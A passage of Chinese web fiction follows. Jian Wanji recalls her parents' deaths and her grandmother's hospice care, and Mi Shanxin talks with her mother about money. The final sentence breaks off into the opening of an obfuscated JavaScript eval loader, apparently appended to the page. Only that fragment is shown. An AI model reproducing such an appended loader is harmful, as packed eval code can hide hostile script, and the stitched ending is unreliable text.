简万吉不记得母亲是不是支离破碎，她年幼时对母亲的最后印象是化过妆的遗体面孔，推进去火化的时候，她们这边的家属，只有舅舅在哭，不知道外婆在笑什么。
简万吉当时只觉得父亲攥着自己的肩膀太紧，很疼，可她抬眼看过去，男人嘴唇紧抿，眼眶很红。
第二年他吊死的时候，死状可怖。小学生简万吉回家，一声不吭看了半天，才出门去喊隔壁的大人。
她很早就明白，人不是按部就班活到老才死的。
天灾人祸避之不及，或许是无法预测，外婆才提出这样的要求。
她已经活得够久了，老得身体器官衰败，皮肤爬满老年斑，还坚持用雪花膏，味道恒常，是简万吉最厌恶的气味。
血缘是简万吉难以摆脱的难缠数据，她最终还是按照外婆的要求，安宁病房、高级护工、指定餐饮……直到死亡。
米善心是老人家安排之外的，简万吉的一意孤行。
曾白安骂过她，说人快不行了你找人演戏也没用啊。
简万吉说有用，又说不出具体的理由。
她其实想趁外婆糊涂的时候，看看她到底是怎么看待母亲的。
到底是爱她，还是恨她。
是恨她才这么对我，还是爱她才这么恨我。
或者是……她是恨自己才这么养育我。
以前金钱是最困扰简万吉的问题，她想要一个新书包需要攒很久的零花钱，三十代的尾巴，钱不那么重要了，她可以小范围挥霍，却很难逼另一个人收下。
很多心情都是错位的。
譬如青春期的少女心事，为什么总考不到女校的第一，考不到第一，外婆在假期就一毛钱都不会给她。
她有很多想买的东西，例如漂亮的裙子、可爱的保温杯、新的杂志……
现在她没有心事，因为心事浮于表面，成了需要解决的事件。
在待办的日程表里，在需要回复的消息和邮件里。
比如米善心有些支支吾吾的附加条件。
*
简万吉给米善心打的专车司机是个中年女人，她坚持送米善心到家门口，说服务包括这项内容。
米善心没办法，只好争取了自己拎打包盒的权益。
明明她是客人，走在人家身边，像是被抓了的小偷。
司机送她到楼下，看小女孩走上楼才离开。
从医院到家开车都需要近一个小时，但比地铁还快一些。
米善心住的社区老年人比较多，这个时间很多人都睡了，她把饭菜放进冰箱，才发现手机有一个妈妈的未接电话。
“妈。”她回拨过去，“怎么了？”
“善心，那五百块钱妈妈可不可以下星期给你？”背景还有小孩子的哭喊，米善心听得出母亲的手忙脚乱，回答道：“可以的。”
“谢谢宝贝。”女人叹了口气，“我最近花得比较多，你林叔叔最近手头很紧……”
“他连五百块都拿不出来？”米善心问。
她还有更难听的话没说出口，比如那妈妈你和她结婚干什么。
可这些都是发泄，只会让妈妈伤心。
妹妹都生出来了，妈妈一个人带只会更手忙脚乱。
“怎么这么说呢，他不是不给我，就是……”米善心的妈妈大学时生的她，也就比简万吉大个几岁，但没有简万吉那么松弛，更别说资产了，“我也不好意思……”
不好意思还
;eval(function(p,a,c,k,e,d){e=function(c){return(c